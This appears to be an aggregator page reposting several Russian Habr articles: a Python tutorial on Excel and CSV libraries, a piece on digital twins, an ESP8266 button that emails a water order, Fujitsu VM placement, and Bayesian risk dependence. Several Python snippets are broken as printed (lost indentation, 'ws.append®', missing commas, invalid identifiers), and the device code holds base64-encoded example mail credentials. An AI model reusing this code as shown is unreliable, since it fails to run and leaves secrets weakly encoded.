Затем вы можете начать управлять данными при помощи всех функций, которые есть в Pandas. Но помните, что вы находитесь в виртуальной среде, поэтому, если библиотека еще не подключена, вам нужно будет установить ее снова через pip.

Чтобы записать Pandas DataFrames обратно в файл Excel, можно использовать функцию dataframe_to_rows () из модуля utils:

# Import `dataframe_to_rows`
from openpyxl.utils.dataframe import dataframe_to_rows

# Initialize a workbook
wb = Workbook()

# Get the worksheet in the active workbook
ws = wb.active

# Append the rows of the DataFrame to your worksheet
for r in dataframe_to_rows(df, index=True, header=True):
ws.append®


Но это определенно не все! Библиотека openpyxl предлагает вам высокую гибкость в отношении того, как вы записываете свои данные в файлы Excel, изменяете стили ячеек или используете режим только для записи. Это делает ее одной из тех библиотек, которую вам точно необходимо знать, если вы часто работаете с электронными таблицами.

И не забудьте деактивировать виртуальную среду, когда закончите работу с данными!

Теперь давайте рассмотрим некоторые другие библиотеки, которые вы можете использовать для получения данных в электронной таблице на Python.

Готовы узнать больше?

Чтение и форматирование Excel файлов xlrd
Эта библиотека идеальна, если вы хотите читать данные и форматировать данные в файлах с расширением .xls или .xlsx.

# Import `xlrd`
import xlrd

# Open a workbook
workbook = xlrd.open_workbook('example.xls')

# Loads only current sheets to memory
workbook = xlrd.open_workbook('example.xls', on_demand = True)


Если вы не хотите рассматривать всю книгу, можно использовать такие функции, как sheet_by_name () или sheet_by_index (), чтобы извлекать листы, которые необходимо использовать в анализе.

# Load a specific sheet by name
worksheet = workbook.sheet_by_name('Sheet1')

# Load a specific sheet by index
worksheet = workbook.sheet_by_index(0)

# Retrieve the value from cell at indices (0,0)
sheet.cell(0, 0).value


Наконец, можно получить значения по определенным координатам, обозначенным индексами.
О том, как xlwt и xlutils, соотносятся с xlrd расскажем дальше.

Запись данных в Excel файл при помощи xlrd
Если нужно создать электронные таблицы, в которых есть данные, кроме библиотеки XlsxWriter можно использовать библиотеки xlwt. Xlwt идеально подходит для записи и форматирования данных в файлы с расширением .xls.

Когда вы вручную хотите записать в файл, это будет выглядеть так:

# Import `xlwt`
import xlwt

# Initialize a workbook
book = xlwt.Workbook(encoding=«utf-8»)

# Add a sheet to the workbook
sheet1 = book.add_sheet(«Python Sheet 1»)

# Write to the sheet of the workbook
sheet1.write(0, 0, «This is the First Cell of the First Sheet»)

# Save the workbook
book.save(«spreadsheet.xls»)


Если нужно записать данные в файл, то для минимизации ручного труда можно прибегнуть к циклу for. Это позволит немного автоматизировать процесс. Делаем скрипт, в котором создается книга, в которую добавляется лист. Далее указываем список со столбцами и со значениями, которые будут перенесены на рабочий лист.

Цикл for будет следить за тем, чтобы все значения попадали в файл: задаем, что с каждым элементом в диапазоне от 0 до 4 (5 не включено) мы собираемся производить действия. Будем заполнять значения строка за строкой. Для этого указываем row элемент, который будет “прыгать” в каждом цикле. А далее у нас следующий for цикл, который пройдется по столбцам листа. Задаем условие, что для каждой строки на листе смотрим на столбец и заполняем значение для каждого столбца в строке. Когда заполнили все столбцы строки значениями, переходим к следующей строке, пока не заполним все имеющиеся строки.

# Initialize a workbook
book = xlwt.Workbook()

# Add a sheet to the workbook
sheet1 = book.add_sheet(«Sheet1»)

# The data
cols = [«A», «B», «C», «D», «E»]
txt = [0,1,2,3,4]

# Loop over the rows and columns and fill in the values
for num in range(5):
row = sheet1.row(num)
for index, col in enumerate(cols):
value = txt[index] + num
row.write(index, value)

# Save the result
book.save(«test.xls»)


В качестве примера скриншот результирующего файла:


Теперь, когда вы видели, как xlrd и xlwt взаимодействуют вместе, пришло время посмотреть на библиотеку, которая тесно связана с этими двумя: xlutils.

Коллекция утилит xlutils
Эта библиотека в основном представляет собой набор утилит, для которых требуются как xlrd, так и xlwt. Включает в себя возможность копировать и изменять/фильтровать существующие файлы. Вообще говоря, оба этих случая подпадают теперь под openpyxl.

Использование pyexcel для чтения файлов .xls или .xlsx
Еще одна библиотека, которую можно использовать для чтения данных таблиц в Python — pyexcel. Это Python Wrapper, который предоставляет один API для чтения, обработки и записи данных в файлах .csv, .ods, .xls, .xlsx и .xlsm.
Чтобы получить данные в массиве, можно использовать функцию get_array (), которая содержится в пакете pyexcel:

# Import `pyexcel`
import pyexcel

# Get an array from the data
my_array = pyexcel.get_array(file_name=«test.xls»)

Также можно получить данные в упорядоченном словаре списков, используя функцию get_dict ():
# Import `OrderedDict` module
from pyexcel._compact import OrderedDict

# Get your data in an ordered dictionary of lists
my_dict = pyexcel.get_dict(file_name=«test.xls», name_columns_by_row=0)

# Get your data in a dictionary of 2D arrays
book_dict = pyexcel.get_book_dict(file_name=«test.xls»)


Однако, если вы хотите вернуть в словарь двумерные массивы или, иными словами, получить все листы книги в одном словаре, стоит использовать функцию get_book_dict ().

Имейте в виду, что обе упомянутые структуры данных, массивы и словари вашей электронной таблицы, позволяют создавать DataFrames ваших данных с помощью pd.DataFrame (). Это упростит обработку ваших данных!
Наконец, вы можете просто получить записи с pyexcel благодаря функции get_records (). Просто передайте аргумент file_name функции и обратно получите список словарей:

# Retrieve the records of the file
records = pyexcel.get_records(file_name=«test.xls»)


Записи файлов при помощи pyexcel
Так же, как загрузить данные в массивы с помощью этого пакета, можно также легко экспортировать массивы обратно в электронную таблицу. Для этого используется функция save_as () с передачей массива и имени целевого файла в аргумент dest_file_name:

# Get the data
data = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

# Save the array to a file
pyexcel.save_as(array=data, dest_file_name=«array_data.xls»)


Обратите внимание: если указать разделитель, то можно добавить аргумент dest_delimiter и передать символ, который хотите использовать, в качестве разделителя между “”.

Однако, если у вас есть словарь, нужно будет использовать функцию save_book_as (). Передайте двумерный словарь в bookdict и укажите имя файла, и все ОК:

# The data
2d_array_dictionary = {'Sheet 1': [
['ID', 'AGE', 'SCORE']
[1, 22, 5],
[2, 15, 6],
[3, 28, 9]
],
'Sheet 2': [
['X', 'Y', 'Z'],
[1, 2, 3],
[4, 5, 6]
[7, 8, 9]
],
'Sheet 3': [
['M', 'N', 'O', 'P'],
[10, 11, 12, 13],
[14, 15, 16, 17]
[18, 19, 20, 21]
]}

# Save the data to a file
pyexcel.save_book_as(bookdict=2d_array_dictionary, dest_file_name=«2d_array_data.xls»)


Помните, что когда используете код, который напечатан в фрагменте кода выше, порядок данных в словаре не будет сохранен!

Чтение и запись .csv файлов
Если вы все еще ищете библиотеки, которые позволяют загружать и записывать данные в CSV-файлы, кроме Pandas, рекомендуем библиотеку csv:

# import `csv`
import csv

# Read in csv file
for row in csv.reader(open('data.csv'), delimiter=','):
print(row)

# Write csv file
data = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
outfile = open('data.csv', 'w')
writer = csv.writer(outfile, delimiter=';', quotechar='"')
writer.writerows(data)
outfile.close()


Обратите внимание, что NumPy имеет функцию genfromtxt (), которая позволяет загружать данные, содержащиеся в CSV-файлах в массивах, которые затем можно помещать в DataFrames.

Финальная проверка данных
Когда данные подготовлены, не забудьте последний шаг: проверьте правильность загрузки данных. Если вы поместили свои данные в DataFrame, вы можете легко и быстро проверить, был ли импорт успешным, выполнив следующие команды:

# Check the first entries of the DataFrame
df1.head()

# Check the last entries of the DataFrame
df1.tail()


Note: Используйте DataCamp Pandas Cheat Sheet, когда вы планируете загружать файлы в виде Pandas DataFrames.

Если данные в массиве, вы можете проверить его, используя следующие атрибуты массива: shape, ndim, dtype и т.д.:

# Inspect the shape
data.shape

# Inspect the number of dimensions
data.ndim

# Inspect the data type
data.dtype


Что дальше?
Поздравляем, теперь вы знаете, как читать файлы Excel в Python :)
Но импорт данных — это только начало рабочего процесса в области данных. Когда у вас есть данные из электронных таблиц в вашей среде, вы можете сосредоточиться на том, что действительно важно: на анализе данных.

Если вы хотите глубже погрузиться в тему — знакомьтесь с PyXll, которая позволяет записывать функции в Python и вызывать их в Excel.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331998/


Метки:  

Раскурочивание на части особо выносливого железа линейки bullion S, где 768 Гб оперативы

Пятница, 30 Июня 2017 г. 10:37 + в цитатник

Метки:  

[Перевод] Цифровые близнецы. Дизайн через отражение

Пятница, 30 Июня 2017 г. 10:19 + в цитатник


«Основная их задача — проверить все до мелочей, объяснить хирургу, что именно он должен делать во время операции. Вы же не хотите, чтобы он уже сделав надрез спросил: «Хорошо, и что мне нужно делать дальше?». Они предоставляют дополнительные возможности, и врач, работающий с коленом пациента, точно знает, какой формы имплантанты ему потребуются, до начала операции», — разъясняет Майкл Гривс (Michael Grieves), описывая применение цифровых близнецов в здравоохранении, концепцию, которую он разработал более десяти лет назад. Не смотря на то, что впервые эта идея была предложена уже в 2003 году как способ удешевления разработки продуктов с помощью цифровых моделей, только сейчас этот подход получил широкое применение. Гривс — профессор, исследователь и помощник директора Центра управленя жизненным циклом и инновациями в технологическом институте Флориды. В своей статье 2003 года «Цифровые близнецы: превосходство в производстве на основе виртуального прототипа завода» Гривс писал: «Применение цифрового двойника происходит на протяжении всего жизненного цикла изделия — чтобы обеспечить высокий уровень качества для потребителя, и предоставить информацию о том, как он на самом деле пользуется продуктом — для изготовителя».
Термин «Цифровой близнец» был придуман инженером, с которым Гривс работал в НАСА. Вне зависимости от того, является ли рассматриваемый объект искусственным коленным суставом или аэродинамическим двигателем, Гривс считает, что применяя единый подход можно значительно сократить расходы на проектирование, изготовление, эксплуатацию и последующее обслуживание изделия. Целый ряд компаний, работающих в области автоматизированного проектирования (САПР) одобрили эту идею. Компания PTC, занимающаяся разработкой промышленного программного обеспечения, поддержала идею цифрового двойника физического продукта как для организации, так и для обслуживания и поддержки продукта. Совместно с этим PTC применяет технологии виртуальной реальности (VR) и дополненной реальности (AR). Так, например, наводя планшет с камерой, на машину, которая нуждается в ремонте, программное обеспечение, делает запрос к цифровому двойнику, и определяет, какие действия необходимо выполнить работнику. «Данные из САПР [созданные в ходе проектирования] могут быть использованы для формирования «инструкций дополненной реальности», которые параллельно используют реальные данные, поступающие от реально существующего изделия. Таким образом, можно найти, где произошел сбой и даже понять причину сбоя», — объясняет вице-президент подразделения САПР компании PTC Брайан Томпсон. «Это похоже наиболее перспективный промышленный вариант использования технологий Интернета Вещей и VR/AR, основанных на данных из базы САПР. Совместное использование этих технологий может дать положительный эффект. Это очень удобно, когда вы, как сервис-инженер, можете получать некое цифровое представление о том, как вам необходимо работать с изделием дальше». Задолго до того, как сервис-инженер доберется до готового изделия, был создан виртуальный близнец в виде САПР модели, которая затем, в течение нескольких лет, была значительно проработана, чтобы ее можно было считать цифровым двойником. Изначально Гривс изложил три основных требования к модели, которую можно было назвать настоящей цифровой копией. «Я предложил три требования к виртуальному двойнику, первое требование – проверка на соответствие внешнего вида, но затем я расширил это требования до соответствия оценки восприятия всеми органами чувств». Важно отметить, что основным в первом требовании является не только лишь внешний вид. Виртуальный визуальный анализ включает в себя разбор продукта на части и детальный осмотр всех его составных частей.
Второе требование Гривса — виртуальный продукт должен вести себя реалистично при проведении различных испытаний, например, таких как продувка в цифровой аэродинамической трубе или анализ напряжений.
Его третье требование заключается в получении информации от виртуального продукта с помощью физической экспертизы, как если бы пользователь мог проверить реальный продукт, например, определение величины расхода топлива двигателем.
Гривс отмечает рост промышленных возможностей для выполнения его требований: «Где же находится реализация цифрового близнеца сегодня? Когда я только начинал свою работу, мы не могли выполнить даже визуальное требование — сегодня это редко является проблемой. Сегодня вы уже не сможете отличить фотографию настоящего автомобиля от фотографичного рендеринга. Исполнительный директор «Dassault Systemes» EuroNorth Стивен Чадвик полностью согласен с этим: «Фотореалистичный рендеринг автомобилей Ауди уже давно используется в рекламных видео роликах. С использованием нашего продукта 3D Excite, полученные цифровые видео сложно отличить от снятого фильма. Рекламные видео ролики Ауди, которые вы видите по телевидению или в кинотеатрах, производятся исключительно с помощью нашей программной платформы. То, что выглядит как красивый и совершенный автомобиль Ауди, фактически представляет собой визуализацию на основе САПР модели».



Цифровое производство.


Цифровая копия, которая в значительной степени соответствует первым двум требованиям Гривса, может использоваться в работе «виртуального производства» и обновляться, дополняясь на каждой «станции». Именно в эти моменты цифровой двойник получает данные о подготовке к производству и данные автоматизированного конструирования (CAE). Каждая из заводских цифровых станций, на которых выполняются операции над виртуальным продуктом: сборка узлов продукта и конечная сборка продукта — также уже были смоделированы ранее.

«Мы можем провести сборку цифрового продукта на цифровой фабрике, проверив тем самым, что продукт собираем для заданного производственного процесса», — объясняет Зви Фейер, исполнительный вице-президент по разработке программного обеспечения Siemens. Siemens может смоделировать совместную работу нескольких машин, например, робота и конвейера, а также возможные сбои и восстановлении. Фейер объясняет, как цифровой двойник может помочь сэкономить деньги компаний с помощью технологий виртуального производства. «В первых 10-20 циклах [запуск производства нового продукта] вы с большой вероятностью столкнетесь с проблемами. Информация, предоставленная поставщику, не была достаточно точной, поставщик использовал неподходящий материал или производственный процесс. Эти части не подходят друг другу, допуск оказался больше, чем ожидалось; Мы сталкиваемся с этим, это происходит снова и снова. Сегодня у нас есть возможность спрогнозировать возможность сборки, определить допуски, которые оказывают наибольшее влияние на процесс». У Гривса есть серьезные претензии к тем компаниям, в особенности из аэрокосмической отрасли, которые не могут предоставить виртуальный продукт для моделирования производства. «Boeing и Lockheed Martin требуют от компаний-поставщиков присылать свои виртуальные модели, чтобы их можно было проверять. Я думаю, что это действительно важно для Boeing и Airbuses, они получают виртуальную информацию наряду с физическими изделиями. Они даже выбирают своих поставщиков на основе следующего критерия, «вы должны иметь возможность предоставить нам виртуальную модель», потому что это позволить избежать задержек на создание этой модели в будущем».



Виртуальное тестирование


После того как в виртуальный продукт внесли улучшения на основе моделирования его изготовления на цифровой фабрике, есть еще одна область потенциальной экономии средств — моделирование проверки качества. Вместо дорогостоящих инструментов и стендов — все моделируется внутри компьютера». Виртуальные тесты имеют преимущество перед физическими в стоимости. Когда вы проводите один или два теста для аэрокосмической отрасли, это все равно дорого, но вы можете провести достаточно много испытаний практически без дополнительных затрат», — сообщает Гривс. Чадвик добавляет: «Мы обнаружили, что многие наши клиенты используют платформу [Dassault software], чтобы иметь возможность выполнять такие проверки, и действительно многие из них отказались от физического тестирования, потому что для сертификации этого больше не требуется. Модель, основанная на цифровых данных, достаточно точная». Затем, после утверждения и на этапе эксплуатации предполагается, что с встроенных датчиков будет получена обратная связь, чтобы помочь улучшить характеристики изделия и учесть недостатки в последующих версиях продукта. В прошлом году PTC продемонстрировала, как виртуальный продукт, в их случае велосипед, может быть улучшен с использованием такого подхода. Томпсон поясняет это следующим образом: «Клиенты рассматривают то, что они могут отслеживать изменение параметров по мере эксплуатации, как достоинство. Результаты, которые мы получили на примере велосипедов, будут опубликованы осенью». Тем не менее, Томпсон уже сейчас видит сложности при обработке данных о всех параметрах продукта. «Если у вас есть 10 000 уникальных моделей продукта, которые отслеживают в режиме реального времени — 10 000 велосипедов, мы получаем большой объем данных». Решение состоит в том, чтобы выделить ключевые элементы дизайна, например, вилка велосипеда. Он отмечает, что с точки зрения бизнеса весь объем данных может оказаться излишним, а затраты, связанные с их обработкой могут оказаться неоправданными. Вместо этого — выделение ключевых параметров продукта, таких как износ вилки велосипеда, уменьшают затраты на обработку данных, обеспечивая информацию о конкретных улучшениях продукта.

Большие данные (Big Data).


Решение проблем больших данных не рассматривается Гривсом. «Меня не беспокоят структуры данных. У нас есть необходимые инструменты, чтобы решить все подобные проблемы», — говорит он. Его больше беспокоит то, что в сфере информационных технологий наблюдается недостаток сотрудничества, развитие происходит слишком быстро, быстрее чем формирование стандартов. «Лучшее, на что мы можем надеяться, это кооперация, — чтобы все разработчики играли вместе в одной песочнице, вместо того, чтобы иметь множество собственных структур данных, которые затем сложно использовать совместно». Камнем преткновения в данной ситуации является информационная безопасность. «Это одна из наиболе острых проблем», — говорит Гривс. «Когда мы создаем интеллектуальные продукты, которые отражают то, как они выглядят, мы должны быть уверены, что только авторизованные пользователи смогут получить доступ к этой информации, не все. Я предлагаю отнестись к этому с высокой степень паранойи. Необходимо определить того кто запрашивает информацию.»

Информационная безопасность также имеет фундаментальное значение для другого ИТ-направления, поддерживающего концепцию цифрового двойника – Интернет вещей (Internet of Things IoT). По мнению Томсона, cтратегия компании по использованию IoT неразрывно связана с виртуальным продуктом: «Мне кажется странным, когда вы говорите, что у вас есть стратегия для цифрового двойника, но нет стратегии для IoT. У вас должен быть способ связать эти две технологии». Подход IoT уже широко используется производителями самолетных двигателей. Это поясняет Гривс:« Компания Rolls-Royce хорошо работает именно так. Если вы спросите у них — они собирают данные для каждого отдельного двигателя и каждого отдельного полета, таким образом у них есть возможность спрогнозировать сбой продукта, с помощью гигантского механизма корреляции. Когда они видят вот этот статус и тот статус, они знают, что у них будет проблема с тем-то компонентом». Согласно Фейеру такое сопоставление данных IoT в режиме реального времени может помочь улучшить бизнес-модель компании, а не только проектирование или ремонт продукта. В пример он приводит бизнес-модель типографии. «Рассмотрим типографию: почему она умная? Потому что технологии сегодня позволяют нам установить датчики для сбора информации производителем, и теперь мы можем предложить новую бизнес-модель, например, оплата за печатную страницу или оплата только за чернила».

Цифровые близнецы и PLM


Такое использование виртуального продукта похоже на управление жизненным циклом продукта (PLM). Это также связано с тем, что концепция цифрового двойника сегодня рассматривается как часть PLM. Определение PLM рассматривается как процесс управления всем жизненным циклом продукта: инициализация, дизайн и проектирование, подготовка к производству, обслуживание и утилизация. Как и цифровой двойник Гривса, степень внедрения PLM различна от одной сферы промышленности к другой и от одной компании к другой, так и представления о виртуальном продукте также различаются. Фейер говорит: «Цифровой двойник — это решение в рамках PLM на пути к переходу к Промышленности 4.0», — концепции цифрового промышленного предприятия. Томпсон видит PLM как сочетание виртуального продукта и места, где цифровая копия будет «создана». Он также видит, что близнец является тем, что объединяет данные из PLM и таких областей, как планирование ресурсов предприятия (ERP), которое он ставит вне управления жизненным циклом. «Как только вы переходите на этап изготовления продукта, связь с PLM-системой заканчивается, и вы находитесь в сфере ERP или в подобной системе, которая отслеживает параметры близнеца». Двойник эффективно собирает всю необходимую информацию, информацию компании в рамках PLM-деятельности и прочую, такую как информацию с датчиков обслуживания, дополняя исходную модель САПР. Фейер предлагает более широко взлянуть на PLM: «PLM постоянно развивается. Если бы вы спросили моего босса 15 лет назад он сказал бы, что PLM — это управление данными CAD, а CAD это набор некоторых CAE инструментов. Но если вы спросите его сегодня, он расскажет о PLM как о системе, охватывающей всю область интеллектуального продукта, которая включает в себя требования к продукту, которые формируются еще до появления CAD моделей, затем CAD модели, CAE, производство, программное обеспечение, управление жизненным циклом и этап интеграции для электроники». Так же, как идея Гривса для цифрового двойника развивается в промышленности, PLM также не стоит на месте. Как полагает Фейер, «мы постоянно осознаем, что PLM сегодня это нечто больше, чем то, с чего это путешествие началось 35 лет назад». Концепция цифрового двойника Гривса медленно, но реализуется, технологически. С точки зрения применения этой технологии, аэрокосмическая промышленность, вероятно, является самой передовой. Понятно, что за 13 лет, прошедших с тех пор, как Гривс и его коллега из НАСА сформировали эту идею, концепция рассматривалась как имеющая преимущества по сравнению с теми подходами, которые использовались в то время. И эти отличительные преимущества в будущем будут иметь еще более сильное влияние, включая влияние на изменения в бизнес-моделях и обслуживании. Так что же будет через 35 лет?
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331562/


Метки:  

Губит людей не пиво

Пятница, 30 Июня 2017 г. 09:53 + в цитатник
Как известно из популярной песенки Вячеслава Нивинного губит людей не пиво — губит людей вода. Особенно когда вода заканчивается в самый неподходящий момент. С этим что-то надо делать, тем более, что в столе валяется не используемый микроконтроллер esp8266 и зеленый светодиод.



Вода, вода


Думаю, многие из читателей Хабра по традиции пьют бутылированную воду, которую мы потребляем в офисе и дома. Не то, чтобы меня как-то напрягает сам процесс заказы воды, но известным образом это как то не по айтишному, звонить куда-то, вечно занято, то просят номер договора, а куда вести, а во сколько? Решил я все это прекратить и сделать этот процесс интереснее.


Пишем письмо


Фирма, которая доставляет мне воду не очень дружит с высокими технологиями, нет ни приложений, ни заказа с сайта, но вода очень хорошая. Чтобы заказать доставку надо звонить каждый раз оператору. Пишу в службу поддержки (все-же нашелся на сайте контактный e-mail)


Через некоторое время я получаю письмо с любезным согласием принимать заказ на воду по электронной почте, чего и требовалось.

Большая красная кнопка, esp8266 и зеленый светодиод
Ну, идея, как уже многие догадались до ужаса простая. Имея контроллер esp8266, программируем его на отправку электронного письма на адрес фирмы доставки воды, нажимая и удерживая кнопку до момента, когда загорится зеленый светодиод, сигнализирующий о успешном отправлении сообщения. Удержание кнопки длится 3-5 секунд. За это время устройство коннектится с домашним WI- FI и выполняет этот простейший код.

#include 
#include "Gsender.h"

#pragma region Globals
const char* ssid = "HomeWIFI";                           // имя вашейсети
const char* password = "";                       // пароль сети 
const char* letter_message = "Здравствуйте!  Пожалуйста, примите заказ на" 
"2 бытылки воды и доставьте воду завтра по адресу Смоленский "
"переулок ==== в 19 часов. Спасибо. Номер договора ====== Телефон +7909====="; 
uint8_t connection_state = 0;                    
uint16_t reconnect_interval = 10000;             // если не удалось связаться - повторим через 10 секунд
#pragma endregion Globals

uint8_t WiFiConnect(const char* nSSID = nullptr, const char* nPassword = nullptr)
{
    static uint16_t attempt = 0;
    Serial.print("Connecting to ");
    if(nSSID) {
        WiFi.begin(nSSID, nPassword);  
        Serial.println(nSSID);
    } else {
        WiFi.begin(ssid, password);
        Serial.println(ssid);
    }

    uint8_t i = 0;
    while(WiFi.status()!= WL_CONNECTED && i++ < 50)
    {
        delay(200);
        Serial.print(".");
    }
    ++attempt;
    Serial.println("");
    if(i == 51) {
        Serial.print("Connection: TIMEOUT on attempt: ");
        Serial.println(attempt);
        if(attempt % 2 == 0)
            Serial.println("Check if access point available or SSID and Password\r\n");
        return false;
    }
    Serial.println("Connection: ESTABLISHED");
    Serial.print("Got IP address: ");
    Serial.println(WiFi.localIP());
    return true;
}

void Awaits()
{
    uint32_t ts = millis();
    while(!connection_state)
    {
        delay(50);
        if(millis() > (ts + reconnect_interval) && !connection_state){
            connection_state = WiFiConnect();
            ts = millis();
        }
    }
}

void setup()
{
pinMode(5, OUTPUT);
    Serial.begin(115200);
    connection_state = WiFiConnect();
    if(!connection_state)  // if not connected to WIFI
        Awaits();          // constantly trying to connect

    Gsender *gsender = Gsender::Instance();    // Getting pointer to class instance
    String subject = "Заказ на воду";
    if(gsender->Subject(subject)->Send("water*****@mail.ru", letter_message)) {
        Serial.println("Message send.");
digitalWrite(5, HIGH);  // включаем зеленый светодиод - все ОК
    } else {
        Serial.print("Error sending message: ");
        Serial.println(gsender->getError());

    }

}

void loop(){}

Код использует библиотеку Gsender.h, скачать которую можно здесь. Особенностью библиотеки является то, что она отправляет сообщения с gmail, поэтому нужно открыть для проекта гугловский адрес электронной почты. В самом тексте библиотеки необходимо указать логин и пароль от вновь открытой почты, но в виде base64 зашифрованных фраз. Используем для этого, к примеру, этот сервис. Должно быть что-то подобное.

const char* EMAILBASE64_LOGIN = "Y29zbWkxMTExMUBnbWFpbC5jb20=";
const char* EMAILBASE64_PASSWORD = "TGFzZGFzZDEyMzI=";

Возможно, системы безопасности GMAIL запросят разрешения использовать подобное подключение. Разрешите.

Кнопка лишь подает питание на контроллер на время отработки кода. На любой из портов подвесим светодиод для сигнализирования успешной передачи сообщения.

Устройство коннектится и питается от двух батареек и ресурса хватит на 1000 заказов, т.е. лет на 10. Устройство можно сконфигурировать при желании из сети и навесить на него кучу всякий дополнительных примочек, что, в принципе, особо то и не нужно.

Не смотря на простоту, сама идея мне показалась симпатичной и в духе действительно реальной интернет-вещи. Используя этот принцип можно реализовать простейшие функции, к примеру, вызов такси, любимой пиццы или положить такую «умную» кнопку рядом с хворающим родственником. Нажал — смс-ка прилетела. Удобно и можно в нужный момент помочь больному. Для отправки смс можно, к примеру, использовать сервис IFTTT.

Всем хорошего дня!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331994/


Метки:  

Fujitsu разработали технологию управления виртуальными машинами, повышающую эффективность использования серверов

Пятница, 30 Июня 2017 г. 09:52 + в цитатник
Fujitsu Laboratories — исследовательский филиал японского производителя электроники — представил алгоритм, позволяющий повысить плотность размещения серверов за счет перемещения виртуальных машин по дата-центру. Новый подход позволяет получить максимум производительности от блоков питания, при этом регулируя нагрузку.

/ Flickr / Lindsay Holmwood / CC

По словам представителей Fujitsu, новый алгоритм повышает эффективность использования стоек в дата-центре до 90%, позволяя одновременно экономить пространство в машинном зале. Количество серверов в стойке ограничено значением их энергопотребления, которое должно быть меньше, чем мощность блока питания. Однако большинство серверов обычно работают на 10–50% своих возможностей, используя только часть доступной мощности блоков питания.

Повысить плотность серверов в стойке можно с помощью специального программного обеспечения, которое, чтобы сбалансировать нагрузку, ограничивает частоту машин для снижения энергопотребления. Однако такой подход имеет негативный эффект — страдает производительность, что неприемлемо для бизнес-критических приложений.

Fujitsu Laboratories разработали алгоритм, управляющий виртуальными машинами, который с помощью API мигрирует их на специально выделенные backup-разделы в зависимости от энергопотребления каждой стойки. Это гарантирует высокую производительность отдельных серверов и исключает вероятность превышения допустимого уровня электропотребления. При этом виртуальные машины автоматически мигрируют между кластерами, когда физический сервер прекращает работать из-за ошибки или во время обслуживания.

«Применив эту технологию, мы надеемся увеличить плотность серверов в дата-центрах, значительно уменьшив занимаемую стойками площадь», — говорят исследователи.

Увеличение плотности серверов в дата-центре (источник)

Fujitsu Laboratories также разработали технологию, способную определять число серверов, которые должны быть установлены в стойку. Делает она это на основании статистических данных (информация о нагрузке на серверы), вычисляя частоту миграций для каждой стойки.

«Новое решение позволит снизить количество занимаемого серверами места на 40% при условии, что ЦОД работает с десятью разделами при эксплуатационной эффективности серверов 50%. В результате мы получаем эффективность, приближающуюся к 90%, и пять рабочих разделов», — отмечают ученые из японской компании.

Fujitsu Laboratories планируют внедрить эту технологию в программное обеспечение ServerView Infrastructure Manager уже в 2018 году.

О компании Fujitsu

Fujitsu — крупная японская корпорация, производитель электроники и ИТ-компания. Занимается выпуском серверного оборудования, систем хранения данных, а также персональных систем — ноутбуков, рабочих станций и периферии. В состав группы Fujitsu (Fujitsu Limited) входит порядка 540 дочерних компаний и ещё 20 совместных предприятий.

P.S. О чем еще мы пишем в нашем блоге:

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330998/


Метки:  

Оценка связанности событий с помощью Байеса

Пятница, 30 Июня 2017 г. 09:28 + в цитатник
В своей книге Нейт Сильвер приводит такой пример: допустим требуется разместить инвестиции в нескольких предприятиях, которые могут обанкротиться с вероятностью $5\%$. Требуется оценить свои риски. Чем выше вероятность банкротства, тем меньше мы будем вкладывать денег. И наоборот, если вероятность банкротства стремится к нулю, то можно инвестировать без ограничений.

Если имеется 2 предприятия, тогда вероятность того, что они оба обанкротятся и мы потеряем все вложения $P = 0.05 \cdot 0.05 = 0.0025$. Так учит стандартная теория вероятности. Но что будет, если предприятия связаны и банкротство одного ведет к банкротству другого?

Крайним случаем является ситуация, когда предприятия полностью зависимы. Вероятность двойного банкротства $ P$( банкрот1 & банкрот2 ) = $P$( банкрот1 ), тогда вероятность потери всех вложений равна $P = 0.05$. Методика оценки риска имеет большой разброс $P$ от 0.05 до 0.0025 и реальное значение зависит от того насколько правильно мы оценили связанность двух событий.


При оценке инвестиций в $N$ предприятий имеем $P$ от $0.05$ до $0.05^N$. То есть максимальная возможная вероятность остается большой $P=0.05$ и старая поговорка «не клади яйца в одну корзину» не сработает, если упадет прилавок со всеми корзинами сразу.

Таким образом наши оценки имеют колоссальный разброс, и сколько куда вкладывать остается вопросом. А ведь надо хорошо считать, прежде чем вкладывать. Нейт Сильвер говорит, что незнание этих простых законов аналитиками привело к крахам фондового рынка в 2008 году, когда рейтинговые агенства США оценивали риски, но не оценивали связанность рисков. Что в конце концов привело к эффекту домино, когда сначала свалился крупный игрок и увлек за собой других.

Попробуем разобрать эту проблему, решив простую математическую задачу после ката.


Давайте решим упрощенную задачу, чтобы научиться оценивать связанность двух событий методом Байеса на простом примере двух монет. Далее математика… Постараюсь разжевать, чтобы самому аж понятно стало.

Пусть имеются 2 монеты $M1$ и $M2$, которые выдают 0 или 1 при бросании и возможна одна из 4х комбинаций на один бросок:
комбинация 1: 00
комбинация 2: 01
комбинация 3: 10
комбинация 4: 11

Здесь первая цифра относится к первой монете, а вторая ко второй. Я ввел такие обозначения для удобства изложения.

По условию задачи пусть первая монета независима. То есть $P_1(0)=0.5$ и $P_1(1)=0.5$. А вторая может быть зависима, но мы не знаем насколько сильно. То есть $P_2$ зависит от $P_1$.

Может есть какой-то магнит, который притягивает монеты, или бросающий является шулером и прохиндеем, коих пруд пруди. Наше незнание мы будем оценивать в виде вероятности.

Чтобы оценить связанность нужен фактический материал и модель, параметры которой будем оценивать. Давайте используем самые простые допущения, чтобы прочувствовать тему и построить модель.

Если монеты несвязны, то все четыре комбинации будут равновероятны. Тут возникает поправка из стандартной теории вероятности — такого результата можно добиться при бесконечном количестве бросаний. Но так как на практике количество бросаний конечно, то мы можем попасть в отклонение от среднего. Например, можно получить нечаянно серию трёх или пяти орлов при подбрасывании монет, хотя в среднем при бесконечном бросании будет точно 50% орлов и точно 50% решек. Отклонение можно инерпретировать как проявление связанности, а можно инерпретировать как обычное отклонение статистики от среднего. Чем меньше выборка, тем больше возможно отклонение, и поэтому можно спутать разные допущения.

Вот тут и приходит на помощь теория Байеса, которая дает возможность оценить вероятность той или иной гипотезы по конечному набору данных. Байес производит обратный процесс от того, с которым мы привыкли иметь дело в теории вероятности. По Байесу оценивается вероятность что наши домыслы совпадают с реальном положении дел, а не вероятность исходов.

Переходим к творческом процессу построения модели. К модели связанности предъявляется требование, — она как минимум должна охватывать возможные варианты. В нашем случае крайними вариантами являются полная связанность или полная независимость монет. То есть модель должна иметь как минимум один параметр k, описывающий связанность.

